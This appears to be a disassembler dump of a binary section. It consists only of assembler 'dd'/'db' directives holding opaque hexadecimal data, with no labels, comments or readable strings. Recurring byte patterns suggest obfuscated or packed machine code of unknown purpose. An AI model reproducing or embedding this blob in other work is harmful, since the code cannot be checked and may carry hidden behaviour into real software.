dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 5877C351h
dd 14963CD5h, 0E80E2389h, 12h, 0B5802022h, 0B0140F78h
dd 86124D8Ah, 0DED39598h, 0F55135DDh, 0B5FF5B5Fh, 938B76Fh
dd 549BD8Bh, 95FF0935h, 9350289h, 0B95B589h, 0B58B0935h
dd 938B763h, 5B9BD8Bh, 858B0935h, 9350E99h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 8AC35646h
dd 212B184h, 4890FCCh, 66000000h, 6037A5BFh, 2C51B58Bh
dd 8D890935h, 9351779h, 0C4868961h, 6A000000h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
dd 3E46C355h, 857FC258h, 8166252Ah, 8B7F25F3h, 35162995h
dd 0B9858909h, 83093528h, 6A04C2h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 150424h, 53430000h, 899B97C3h, 352D4D95h
dd 4F0BF09h, 508936D4h, 8DF88B20h, 38CC0785h, 52006A09h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h
dd 0D740C3C1h, 0C1C1EF91h, 3919589h, 86890935h, 0B8h, 0F8A0Fh
dd 0AE90000h, 5E000000h, 0CBA2D119h, 0A784B0AEh, 29006A76h
dd 350D759Dh, 6FB5FF09h, 6A0938B7h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 0F4EBC351h
dd 28DF7BBFh, 12CF8005h, 115195FFh, 6A0935h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 0C3E662C3h
dd 948BA73Fh, 0E5BFF67Eh, 89525E3Dh, 352CA5B5h, 13E99609h
dd 18000000h, 9B4E315Bh, 58ACF4A4h, 0CD0A29F0h, 76166CC3h
dd 0F505E43h, 8Fh, 6A9600h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 1B0424h, 53430000h, 794250C3h, 5CF1DFCBh
dd 6FB5FF26h, 310938B7h, 3531FD95h, 5595FF09h, 8909350Bh
dd 3508919Dh, 79BD8309h, 93500h, 11840Fh, 0C7800000h, 0BB5650E6h
dd 549892AEh, 2434895Bh, 0FFFFBF0Fh, 38B76FB5h, 0DABF0F09h
dd 1C3595FFh, 0BB660935h, 0B5FF292Dh, 938B76Fh, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 65C35040h, 33D67D9Ch
dd 1AAB0AD7h, 0E595FFA1h, 6A09352Ch, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 638FC351h
dd 0BD83F98Dh, 93526BDh, 1A840F02h, 89000000h, 351785BDh
dd 0AD858B09h, 23093526h, 351CF59Dh, 0C609h, 2EC38166h
dd 6585C79Dh, 93532h, 8B000000h, 352649BDh, 0F459E909h
dd 0E781FFFFh, 7027F831h, 0E9F5C18Bh, 7, 85630709h, 0BA97C836h
dd 0F00E0000h, 0EA81h, 0C283F000h, 0AD958914h, 8309350Eh
dd 858D14EAh, 93A41C3h, 35FF6450h, 0
dd 258964h, 0E8000000h, 0
db 'X+б%',0
db 0F0h, 2 dup(0FFh)
dd 4D388166h, 12850F5Ah, 0F000000h, 33C50B7h, 503A81D0h
dd 0F000045h, 0A84h, 10002D00h, 0D9E90000h, 8BFFFFFFh
dd 0E98589C8h, 3093531h, 0B70F3C40h, 95890650h, 9350399h
dd 8950508Bh, 351DFD95h, 0F80509h, 508B0000h, 89D1030Ch
dd 3525E595h, 8500309h, 7919589h, 8F640935h, 5, 4C48300h
dd 13E9h, 4C8B5100h, 0A9811024h, 0B0h, 1000h, 0C3C03359h
dd 2365BD83h, 0F000935h, 2484h, 9D85C600h, 47093517h, 9AA7D268h
dd 7DB5FFD4h, 8D093516h, 387B7085h, 6AD0FF09h, 89D0FF00h
dd 35066185h, 8DD38B09h, 3A42C88Dh, 498D0109h, 89093517h
dd 3516298Dh, 95BD8B09h, 66093504h, 85C7FB8Bh, 935287Dh
dd 6068h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 14h, 36C35545h, 471BD29h, 85C70935h, 9352255h, 0
dd 89DABF0Fh, 3510459Dh, 9DB5FF09h, 6A09352Eh, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
dd 8A7C357h, 0C59A864h, 0BF0F6009h, 9DE381D7h, 6154121Ch
dd 0D0595FFh, 6A0935h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 170424h, 50400000h, 0AEF52EC3h, 61BD8B3Ah, 6A093511h
dd 2995FF00h, 8B093508h, 0CD4DEBC0h, 5DBC7121h, 3ABBC88Ah
dd 0F6BC74A5h, 10CCC7AFh, 9436F974h, 0A5C996BBh, 0AD206501h
dd 0A83A8465h, 0E1A9265Fh, 26B8F568h, 7D19F2ACh, 0F0BF5831h
dd 8806A096h, 0B3DFBD2Ch, 0D179E85Ch, 37BA9782h, 0A9F5BB49h
dd 1F7DC7D6h, 128186CDh, 442E8D8Dh, 8D89093Ah, 9352569h
dd 16298D89h, 6A0935h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 1B0424h, 57470000h, 0D84E5CC3h, 7E9FC165h, 7D85C7EFh
dd 58093528h, 6A000067h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 1B042444h, 47000000h, 1BF3C357h, 4B2013E5h
dd 3157BF67h, 352F25B5h, 85C75F09h, 9352255h, 0
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 85C35141h
dd 92BED3F5h, 312A6908h, 2BF5B5FFh, 6A0935h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 150424h, 57470000h, 0E8913FC3h
dd 13h, 9F5F17B4h, 0BE5DC8CCh, 0D697CEF4h, 9AAE9575h, 0F4D20C5h
dd 58Bh, 0F2816600h, 895AB424h, 3525A9B5h, 595FF09h, 6A09350Dh
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 15042444h
dd 42000000h, 326C352h, 0FBD78166h, 0FF006ACEh, 35082995h
dd 0EBC08B09h, 5C4CA50Dh, 0B311F533h, 5173716Eh, 2ADEBD4Ah
dd 46D4D471h, 7F01DC4Bh, 5CD4C855h, 33639852h, 33A9A90Bh
dd 5AF19826h, 0AEEF5E26h, 603CAD31h, 0E4FFB44Eh, 4EF867A5h
dd 0BEAFAD30h, 0B28E8A3h, 0BA79672Fh, 6F6FDA3h, 56D71B2Fh
dd 333CAD05h, 33831D29h, 0B6C09826h, 3A9CDC76h, 71D61576h
dd 63A0A262h, 11B10DD9h, 64839113h, 59359826h, 611F1523h
dd 6344A262h, 77E41DABh, 0CC03911Ch, 6B879B3h, 3C14932Fh
dd 336AA1A2h, 61B01526h, 6393A262h, 334DAACEh, 0BEF6D826h
dd 917C0A3h, 0B624C82Fh, 3AEEDC74h, 6AFF6776h, 0B03CAD01h
dd 0B61794E2h, 3A77DC74h, 71231576h, 635AA262h, 11CC0DD9h
dd 513D9113h, 666A9826h, 646474ADh, 4E11CE74h, 0DA8DAB2Eh
dd 33A69824h, 0CD3DF66h, 0C62C9726h, 2B67D9h, 3B1713EFh
dd 3335B2CFh, 0B948AB26h, 3A71831h, 63E868ADh, 88005AADh
dd 33A9982Ch, 33D49BCFh, 7D896F26h, 3C3566A5h, 0CC656CA1h
dd 0FB4EC3D9h, 38EEDF7Eh, 0FDD697E6h, 0B85667D9h, 6C8EC6E7h
dd 37A8517Fh, 73881526h, 0BE93A262h, 908EDABh, 93202Fh
dd 0FC780000h, 310271E7h, 83C8D007h, 0F4904C7h, 0FFFFF285h
dd 75B58DFFh, 8D093A45h, 3A45948Dh, 83CF2B09h, 0C88B05E9h
dd 0FE8h, 35518400h, 0E417834Dh, 27AE18CBh, 0D0E4CEC3h
dd 27798D8Bh, 0F5A0935h, 68Ah, 58536000h, 81615EB3h, 5E41C2h
dd 10E900h, 0B5E90000h, 0E21701A7h, 0E4777048h, 66975E2Bh
dd 64B818F8h, 80000017h, 32FF2CF5h, 5FF78B66h, 2D318D89h
dd 0F7810935h, 0A16142Fh, 0F781F28Bh, 2C0A5036h, 0A9B2C781h
dd 39B96C31h, 890AD306h, 6820F3Ah, 8B000000h, 3531F5B5h
dd 4EA8309h, 56E98166h, 1E88155h, 0F000000h, 1485h, 24E900h
dd 0E590000h, 0C7E3B394h, 0A751E660h, 2E43063Dh, 0BDBD89E9h
dd 0E9093528h, 0FFFFFF9Ah, 20E2BF3Ah, 0A8C64A40h, 3F9C56DBh
dd 0D2BE553Bh, 37CF0857h, 81B97F50h, 0BDBADEE4h, 849E636Eh
dd 0C0F3D7D8h, 3FAA8EF4h, 0B0FF662Dh, 31F7DEEDh, 0BD0AF42Ch
dd 0A74360h, 6730D7DAh, 96486B6h, 0BDC6EE94h, 0E4EEAAEDh
dd 0B0FF66BEh, 31F7DEEDh, 0BD0AF42Ch, 5B84360h, 6730D7DAh
dd 0A50E86B6h, 0F4F3DEEDh, 0E72AC63Bh, 9B0153C2h, 7119DF7Ah
dd 0A2385886h, 0B49C52E2h, 3FA9DEEDh, 3F27553Bh, 81D75360h
dd 6C75B8E4h, 0B1F54B66h, 0B0D6D7D8h, 0B7575AE2h, 3FF9DEEDh
dd 9725D32h, 0B4EEEBE2h, 0B4CF5AE2h, 0B493DEEDh, 0B4FF36BEh
dd 0EF5EDEEDh, 0E8B6852Eh, 0F01EDAC9h, 0B4D9DAC9h, 0E7A4DEEDh
dd 6DF0102Eh, 0B4F9D004h, 5B9958EDh, 7830F6B8h, 0BE1AACA4h
dd 5DD4FA7Ch, 0B4CFDDCFh, 84865366h, 0B44DD7D8h, 0D2FBDECAh
dd 395B0757h, 8C10BF68h, 0E63FB4E4h, 0B49FDD05h, 7795FEEDh
dd 90B357B7h, 90B75FE9h, 0B4F9C6E9h, 77AE9CEDh, 0E612A17Eh
dd 0DD8AD7FAh, 4B96EBC8h, 3105543Dh, 7263D12Dh, 0DEF3DEEDh
dd 0B7118EEDh, 94FCDEEDh, 3D261DB5h, 353BFAA9h, 0A99BFAA9h
dd 0F4CFDEEDh, 9C821DBDh, 1F8794D3h, 44DCBEB1h, 0A2514364h
dd 8CFFD7D8h, 4FBEB8BAh, 0B4AF5BE2h, 0B4A5DEEDh, 0B4E436B8h
dd 0E9D3DEEDh, 0D870832Eh, 0F07DDAC9h, 0B468DAC9h, 0E17ADEEDh
dd 6F79342Eh, 764FFE5Ch, 0CC66B874h, 0BBF1DCE9h, 0B4FB4069h
dd 359A22EDh, 0BB1E42D5h, 0B43F8A68h, 411A57EDh, 34C6EBC1h
dd 0BB0FDC95h, 0B4F39A68h, 0E6F9B4EDh, 0B4FCDD05h, 7724FEEDh
dd 906B57B7h, 90DB5FE9h, 0B4CFCBE9h, 77B59CEDh, 9D934903h
dd 81FB2F78h, 0C17957E4h, 0D577EBF2h, 0B2475F8Bh, 319075EDh
dd 0B4CFDEE0h, 0F00E2466h, 3DF3DEEFh, 81D50B60h, 0B5FC60E4h
dd 0B41498ECh, 0B43C36B8h, 0E9BFDEEDh, 0D846832Eh, 0F066DAC9h
dd 0B4E5DAC9h, 0E1BCDEEDh, 6A4D462Eh, 31F37B5Fh, 0BD07B08Ch
dd 0B97A5364h, 3944D7D8h, 0BDD2F00Ch, 0B4990E12h, 0B4FA36BBh
dd 0EADCDEEDh, 0C0F7802Eh, 0F0BEDAC9h, 0B487DAC9h, 0E289DEEDh
dd 53450B2Eh, 747644F0h, 0B54D5AE2h, 0B496DEEDh, 0B47D36BFh
dd 0EE1FDEEDh, 0E016842Eh, 0F04EDAC9h, 0B4FFDAC9h, 0E6B1DEEDh
dd 248AA42Eh, 29775969h, 0BD4BDA98h, 8959E66Ch, 3190DCEFh
dd 0B4CFDEB1h, 5CB4DE87h, 0B4F3DEEEh, 0EF3A85CDh, 0B0D88264h
dd 0B05A9A6Ch, 0B43FDEF0h, 0AB5C8DAEh, 3B443EF4h, 5BA56853h
dd 3D6E5505h, 35F0EBF3h, 899AD895h, 3071A4B2h, 0B43FDF9Eh
dd 5CCDDE87h, 0B4CFDEEEh, 0EE2484CDh, 0B0D78A64h, 0B0DD9A6Ch
dd 0B4FCDEF1h, 27BD8CAFh, 67653250h, 0FC1415F8h, 28F75F8Bh
dd 8E62D18Dh, 0D2F3DEEDh, 85D56154h, 81F48F58h, 0B6065EE4h
dd 92BAD105h, 0D29FDEEDh, 2E84316Ch, 0B29F5F8Bh, 31FC1EEDh
dd 0B4F9DEF8h, 0B4FA57E2h, 21F5DEEDh, 0BD0AD5BCh, 0B49ED004h
dd 7C70D1EDh, 0B5E76018h, 7E73A0ECh, 0D57C5320h, 0BBF5E683h
dd 0B47EDC66h, 4BEF54EDh, 741A2B3Dh, 0B40F5AE2h, 341BDEEDh
dd 31FC36D5h, 0B4F9DEAEh, 5CABDE87h, 0B47EDEEEh, 0EBFC81CDh
dd 0B0BBA264h, 0B0EB9A6Ch, 0B4E7DEF8h, 433089AAh, 6D7457DDh
dd 34F5EBE3h, 0BB0DDB95h, 0B43FC868h, 252AD7EDh, 34C6EBE0h
dd 0BBB4D995h, 0B4F37C69h, 0B56CDFEDh, 0D2F5EBF0h, 0B1F1E66Ch
dd 0B4575BE2h, 3F90DEEDh, 0B4CFDEEBh, 20AD356Ch, 4A78DE8Bh
dd 0DCFFA66Dh, 0B4AC5BE2h, 0BF29DEEDh, 811E1770h, 35F987E4h
dd 9130D595h, 0B4DB5BE2h, 0B499DEEDh, 0B4FA36BFh, 0EEDCDEEDh
dd 0E0F7842Eh, 0F0BEDAC9h, 0B48BDAC9h, 0E68DDEEDh, 316E852Eh
dd 0BDC6CE74h, 0B4F9E004h, 0B4F536EDh, 1329DEEDh, 48300E3Eh
dd 3DF9DB47h, 81C3DF68h, 0B45F84E4h, 34F3DEEDh, 0F410E42Eh
dd 0DEFCDEEDh, 0B7968CEDh, 943FDEEDh, 3DC51DB7h, 35CBFAB9h
dd 0A0E3FAA9h, 0F6F3DEEDh, 0C771DBFh, 0B4FCDEECh, 0B47ECD05h
dd 93CB83EDh, 0F0934054h, 4137E745h, 0EA02B225h, 9A360E84h
dd 0BF8C63C4h, 24A7D7D8h, 0E4A0558Bh, 3FAFAE5Bh, 819D3770h
dd 0E47253E4h, 39EEE4ABh, 8EB96560h, 0E1DA66E4h, 31FFA98Bh
dd 0BD4BF7B8h, 0E76011C6h, 73A0ECB5h, 7C53207Eh, 0F5E683D5h
dd 7EDC66BBh, 0EF54EDB4h, 1A2B3D4Bh, 5E98374h, 8B58A4F3h
dd 352CE1BDh, 51006A09h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1C04h, 0C3514100h, 0DD061A3h, 0A84F34D7h, 3DB9661Ah
dd 0FC00B64h, 7684h, 0FABF0F00h, 4C02B58Dh, 6A0935h, 3E853h
dd 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
dd 76C6D0C3h, 857D45B3h, 3B8h, 56006A00h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1604h, 0C3564600h, 0FF982215h
dd 52006AE6h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h
dd 0C3524200h, 0B0FBB735h, 66FBB70Fh, 401A65B9h, 217BBA66h
dd 24C19D03h
dd 0C08B0935h, 8344D380h, 3526A1BDh, 9750009h, 3079BD83h
dd 74000935h, 8B535019h, 403B8C0h, 85890000h, 9352CA9h
dd 0B49F9D8Dh, 0D3FF0937h, 0BD83585Bh, 9353079h, 50177400h
dd 403B853h, 85890000h, 9352CA9h, 0B1409D8Dh, 0D3FF0937h
dd 6660585Bh, 0E960C88Bh, 12h, 0B45870A3h, 335B62D9h, 22ECE5CAh
dd 0D6518709h, 0E281497Fh, 3FED7A84h, 0CF806161h, 5E806h
dd 95F70000h, 0B954C0A8h, 79AD5257h, 53C08B5Ah, 0FE8h
dd 12EB5B00h, 0A86E4E4h, 0D66C83B4h, 0A18BC2ACh, 0BEDFB966h
dd 95895B5Bh, 9351291h, 9E861h, 8E540000h, 9308CC5Fh, 0E9ADBF2Bh
dd 6, 90CDD929h, 895EC59Eh, 351C39BDh, 68C68109h, 6000005Dh
dd 0BE9h, 531B7100h, 0B6DD39B7h, 2E1F48A7h, 0BE8h, 7E691400h
dd 37DE371h, 62194196h, 850Fh, 615A0000h, 171568h, 0C2815000h
dd 2FDA9A03h, 820F5F58h, 1, 0F1E8BF9h, 68Bh, 0B58D8B00h
dd 81093516h, 2D4608EBh, 398D0136h, 8109351Bh, 8B5E4C3h
dd 0C6F28071h, 0FF9AF381h, 8B607021h, 350E75BDh, 11E909h
dd 62210000h, 3FA9AC53h, 0FE25C0Dh, 230ADF7Eh, 61FCADC1h
dd 0EED08153h, 8F1D64DCh, 0C7EA8006h, 17FEEE81h, 14E83612h
dd 0CF000000h, 0E1DB69ABh, 0FE9CD06Ah, 9B4FBD1Ch, 941D11B7h
dd 8933FBD8h, 3511A1BDh, 0C6815A09h, 361217FAh, 0F18B6060h
dd 0EE8h, 3FCC0400h, 1B568236h, 252F5B3Eh, 5B1EBDE5h, 6E861h
dd 228E0000h, 75FCFA3h, 0EF81615Eh, 1, 0FF4F850Fh, 890FFFFFh
dd 2, 8D8D69B2h, 93A4E04h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 18h, 0E1C35747h, 86EE903Dh, 12B18529h, 858B0935h
dd 93524DDh, 16298D89h, 6A0935h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 1C0424h, 55450000h, 5902C1C3h, 0EEEB2706h
dd 85C73E2Fh, 935287Dh, 5954h, 85C74EB3h, 9352255h, 0
dd 2779B589h, 81660935h, 0FFCB65E8h, 35331DB5h, 595FF09h
dd 6A09350Dh, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 14042444h, 40000000h, 6A11C350h, 2995FF00h, 8B093508h
dd 2E5EEBC0h, 48B9D9BDh, 0EEFB0571h, 878BF83Fh, 67CE04B3h
dd 79B86EC8h, 0B47A0381h, 0C3A14D33h, 2EB7C260h, 0FAC1C6B5h
dd 24949989h, 7A1668ACh, 41E12049h, 0A1B88632h, 3D11D7C0h
dd 6E8A53C0h, 0DBF206EAh, 0BFD5AD10h, 1420F6D7h, 71D46B23h
dd 12CC09F9h, 5E8AA3AFh, 0EE4AC20h, 103C8F79h, 308D8D04h
dd 89093A4Fh, 3523FD8Dh, 298D8909h, 6A093516h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h
dd 15FAC355h, 0F78BA06Ch, 287D85C7h, 5E800935h, 6A0000h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
dd 888F85C3h, 568DFEEFh, 0BD8B23FCh, 9351755h, 225585C7h
dd 935h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 1A0424h, 52420000h, 30B83FC3h, 6BF375FCh, 25EDB58Bh
dd 0B5FF0935h, 9350C45h, 0A7C186BEh, 1DBF6657h, 595FF59h
dd 6009350Dh, 2D9B509h, 7E90935h, 72000000h, 0C1C58550h
dd 6A614A7Fh, 2995FF00h, 8B093508h, 5148EBC0h, 7B8BC36h
dd 23EB028h, 0A7E75C40h, 0A1B51BE3h, 0D07939DBh, 47346F75h
dd 72238D4Dh, 0B2883C67h, 0C6CB1AF5h, 0DF8F920Fh, 0D2694095h
dd 0D03522A0h, 0EA4F06B1h, 0A584BE6Dh, 46C9A95Eh, 7FC2583Eh
dd 0B2252A85h, 20837A10h, 0D9B620CEh, 7AD9A354h, 0BE97F32h
dd 24012F32h, 8B59EC6Ah, 80050B76h, 9B050B76h, 12F32h
dd 0C80FEC62h, 0D49653F9h, 0B267DB35h, 0A9701Fh, 3F6AB3Dh
dd 16B2F32h, 8002C761h, 1B212F32h, 7C8874F1h, 54802B16h
dd 81C2B16h, 57422F32h, 33D6CFF1h, 0CAF3B900h, 3DB986Ch
dd 750E928Fh, 0A40E2F3Bh, 10012F71h, 0E0572F58h, 4012F31h
dd 5CC27112h, 5255BBBh, 84256BB3h, 40012F26h, 79C27974h
dd 10013BDAh, 0AFADDE32h, 0EB403B9Ch, 0AE009503h, 48E272E5h
dd 769FCCDh, 0F59C06F4h, 7B081A3Ch, 1000ABDBh, 98E59C32h
dd 410C661h, 9D292F32h, 0BC62102Dh, 5B77110Eh, 0A9FB0EE6h
dd 7BE4DE94h, 15E87962h, 0E4012F32h, 0D4D88D2Dh, 0B788BF69h
dd 83408F3h, 0A44D2E3Dh, 120145CCh, 20012CDAh, 0D35B0F32h
dd 2C55A668h, 2045AE36h, 2013736h, 0C2536D32h, 47FC9AADh
dd 4CE87758h, 8012F32h, 50031182h, 0EBA6C86Eh, 87A09A29h
dd 26B03F2h, 102C760h, 0DA212F32h, 148875F1h, 64802B16h
dd 101C2B16h, 5A432F32h, 555CA2F1h, 2D59AE3Eh, 0E843064Ah
dd 80012F26h, 12CBC17Eh, 0EAB661E7h, 0C562B843h, 859921A7h
dd 0B3979E72h, 836727B9h, 67AFCDC4h, 8FFD67B9h, 400123BBh
dd 26892032h, 1F012F32h, 8012FB2h, 3D804932h, 860ED004h
dd 1012F4Eh, 68502F58h, 40012F31h, 79C27612h, 142563BBh
dd 0C256BB3h, 4012F28h, 0E4C27E73h, 0BB7D9C7h, 4182B176h
dd 22BC913Bh, 19814670h, 928420DBh, 0B7012F32h, 73A533A0h
dd 64006EB9h, 2C0B48Dh, 0D10145FAh, 40012CDAh, 0E3580F32h
dd 344DA66Bh, 2C45AE36h, 4013936h, 0C1506E32h, 57C1E576h
dd 85C0AC68h, 697892B9h, 19802607h, 9B4264A2h, 83EAA3Dh
dd 918A2F32h, 0B340DBFh, 4D03A2BFh, 806B2607h, 4002C767h
dd 7D212F32h, 7C8872F1h, 4C802B16h, 41D2B16h, 57442F32h
dd 14C7EEF1h, 7B45D212h, 0C60E81BDh, 20012F33h, 13B9D7CEh
dd 0F7012F32h, 0D7804ED3h, 40066DD8h, 4E7C92BFh, 0D8C2608h
dd 493B7EFCh, 0B2825B8Ah, 0D1841C33h, 23081A1Dh, 20E8EEFDh
dd 0D9B620CEh, 7AD9A354h, 0BE97F32h, 24012F32h, 8B59EC6Ah
dd 80050B76h, 0F305E983h, 6AC08BA4h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 4D9CC355h
dd 0B5893004h, 9352D25h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 14h, 0EBC35545h, 0CE8C38Bh, 9E000000h, 0ED479472h
dd 1345414Ah, 66F6EE80h, 5FA069BEh, 73E2C781h, 2AB80000h
dd 0B95152D7h, 29E7535Eh, 4F94F181h, 858929E7h, 9352C6Dh
dd 5AF537FFh, 0F281F28Bh, 0DFBB902h, 1F499D89h, 0F2810935h
dd 344357A8h, 0C7C08166h, 77F28136h, 802EB046h, 0E9525CD3h
dd 6, 0B0F0492Ah, 78FC8D6h, 0C0816657h, 835EB80Ch, 0EE902EFh
dd 0B8000000h, 52F57A2Ah, 84E733E6h, 0B1AB373Ch, 8B4F4FEFh
dd 35269185h, 1E98309h, 19850Fh, 9D290000h, 93512D5h, 24E9h
dd 0A0E0C800h, 0DA91C8E0h, 0C57CE175h, 0F96B5652h, 0FFFF7FE9h
dd 0E6B329FFh, 0C56DFBF2h, 0D4F6B339h, 36B4CF52h, 0E68D8D99h
dd 0E9093A53h, 0Ch, 0A7485F2Ah, 8824407Ah, 73B6C16Ah, 16298D89h
dd 6A0935h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h
dd 53430000h, 0DE0F42C3h, 6EFF2EA1h, 85C7BCC5h, 935287Dh
dd 6ED0h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 1Bh, 0AAC35242h, 0BD436BF0h, 8961FCDCh, 35018585h, 5585C709h
dd 93522h, 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 1A042444h, 40000000h, 0B5CEC350h, 69AD5CE6h, 0DAB70F45h
dd 0F3D78166h, 95B5FFFAh, 6A093530h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 0C0FCC355h
dd 0EE53A458h, 0D0595FFh, 810F0935h, 5, 77DDBFh, 7E95Dh
dd 52240000h, 95528ABFh, 0FF006A25h, 35082995h, 0EBC08B09h
dd 9D328E6Eh, 0E4FF84C8h, 1465FD33h, 4CDB0E16h, 0A5A8203Ah
dd 6C6AB5FAh, 1C4898Fh, 0B8BDC796h, 9E64C65Eh, 0D9EA0371h
dd 0DE43F608h, 4117B68Dh, 6D720188h, 0EFF8E3D6h, 54F40CAEh
dd 55C2DE3Eh, 63A3D62Dh, 3154EDC1h, 18663711h, 0CDA89843h
dd 81777E9h, 323C1174h, 238C41B3h, 40DC4163h, 0B2DDDD36h
dd 82AB5278h, 3BF1C4F9h, 8D1918ECh, 3A55578Dh, 8D89F509h
dd 9351629h, 287D85C7h, 5FC40935h, 6A0000h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 170424h, 50400000h, 8B56B2C3h
dd 15858975h, 8B093528h, 352779B5h, 5585C709h, 93522h
dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1D042444h, 41000000h, 0BFC6C351h, 6C017A9Eh, 8AE17BECh
dd 0B5FFFA8Ah, 93506B5h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 14h, 0C5C35040h, 13E8h, 0EFC15500h, 5680EBB1h
dd 38278D89h, 5AEACA16h, 5033E961h, 0DE9h, 0A7A21500h
dd 7068B674h, 0DDFF7357h, 0FC5B13ACh, 0D0595FFh, 6A0935h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
dd 4898E3C3h, 5D64DB66h, 7E906E2h, 0
dd 858FB8F4h, 6A3DBAh, 82995FFh, 0C08B0935h, 0D9571CEBh
dd 90D2B973h, 0E5FE170Dh, 0DDA9AA98h, 8D73EDA6h, 9FE2CC79h
dd 0EB684769h, 4EBBCA9h, 127E638Fh, 592E9h, 3196C400h
dd 6079F46Ch, 2FAAC53Bh, 6572EA6Eh, 30A9C038h, 2FDBB06Bh
dd 86FAA336h, 2DB3E8EDh, 83F5A633h, 7A9F2EFh, 0ECB319C7h
dd 0F6A712FBh, 0A3302ED0h, 2B47AC53h, 1D9F43AEh, 0E25C9801h
dd 7C7E4E4Bh, 2C01F5E2h, 0D41FB8B4h, 20D3CC60h, 2A904E7Ah
dd 1E1C3641h, 0ECE98678h, 0FE9B9608h, 250F8EF3h, 0AC726020h
dd 0A01537BDh, 5946DA54h, 1E820D75h, 0EF7776C5h, 0B0AE3207h
dd 1A11AB23h, 0EA04918Fh, 0E07B8507h, 0B42C01F5h, 30D61DBAh
dd 0F806938Eh, 0F7797861h, 3968DFFh, 0F3E47CF0h, 8918C00h
dd 0BAAAFBE9h, 6C58C5BFh, 0FEEC8799h, 6AB5497Ch, 4D64863Ah
dd 8D743C97h, 0AAC63A63h, 9E20C62Dh, 59DB1683h, 27C0079Dh
dd 0E1C51C36h, 795540DFh, 3627616Bh, 0A353551Ch, 2865664Eh
dd 3F895014h, 7Eh, 0AE2B4790h, 4211B543h, 2C411C36h, 0C82BAEC5h
dd 0D547AA44h, 10B63D5Ch, 3641E8D2h, 23BADC1Ch, 733116FEh
dd 1C364149h, 80559B3Dh, 87C6876Dh, 0E0894FF9h, 1, 0AF2A47AFh
dd 445DD044h, 94233BADh, 3641644Eh, 0B03E601Ch, 8091641Ch
dd 30900D22h, 7B2959F2h, 1C357D51h, 0A94DA345h, 29BEB62Ah
dd 0C84CA732h, 0C759CB26h, 0BC2917DAh, 7DE02DC8h, 5049E497h
dd 99954Bh, 2E47B89Bh, 396723ABh, 1C364193h, 0E956187h
dd 275C2468h, 0CD527E41h, 0AC971DC7h, 0EB931C35h, 35AD0FB5h
dd 0BE50B1Ch, 0E5FC71EBh, 472D9E0Eh, 7F1CBDB4h, 757C65F9h
dd 82716C03h, 318FEF9Fh, 3D305C94h, 100451A5h, 7928933h
dd 0E48C68ECh, 895020B9h, 55CEh, 2E47FD00h, 5BD448ABh
dd 0CF4EB33Eh, 7E1B12E5h, 0D7C25B1Dh, 37B0A81Ch, 0A0539D38h
dd 577C68BDh, 28CCCD65h, 50005588h, 593289h, 15610000h
dd 8C6875EBh, 908E1B12h, 6F811C13h, 60FE7281h, 0C9615B73h
dd 79D24D0h, 0E27B0EF6h, 4CE5D7F7h, 0D222A64Dh, 2A4756F5h
dd 0A008A3BFh, 0F7EFDFC7h, 856C826Ch, 356BD0F7h, 91F1D51Ch
dd 95101DC1h, 0C10EE6A4h, 37D3FAD3h, 25978950h, 0E0648F0Ah
dd 16514h, 15260000h, 0D9B9AEADh, 0FAFA6E95h, 0DAF2EF80h
dd 0A97F4AA2h, 4FE4CB9Dh, 48ECD453h, 6F558B6Eh, 6B1C358Ch
dd 7D23AB45h, 1C358C37h, 0CA49AD33h, 36BDDA56h, 1CEFD546h
dd 3A059603h, 8917B76Fh, 1502AE5Eh, 7C507C22h, 0AE289250h
dd 7A1C1300h, 0AE6268h, 78426013h, 6C1300AEh, 9E56586Ah
dd 38B1AD1Fh, 0B335BC25h, 1666603Dh, 371D2BBEh, 0DA54A0B9h
dd 0A9A5946h, 1300D7C2h, 0B84331D2h, 9E623BA4h, 9D0C2582h
dd 58DC1782h, 17D95B96h, 0EBF468DCh, 5742D9E3h, 4DE6189Ch
dd 0CF27A948h, 8173E050h, 0F0DA08C4h, 0E41300D7h, 0A4B832C2h
dd 1D70623Bh, 4A928564h, 129h, 0D39B2E89h, 2CB0435Eh, 4DD40AC2h
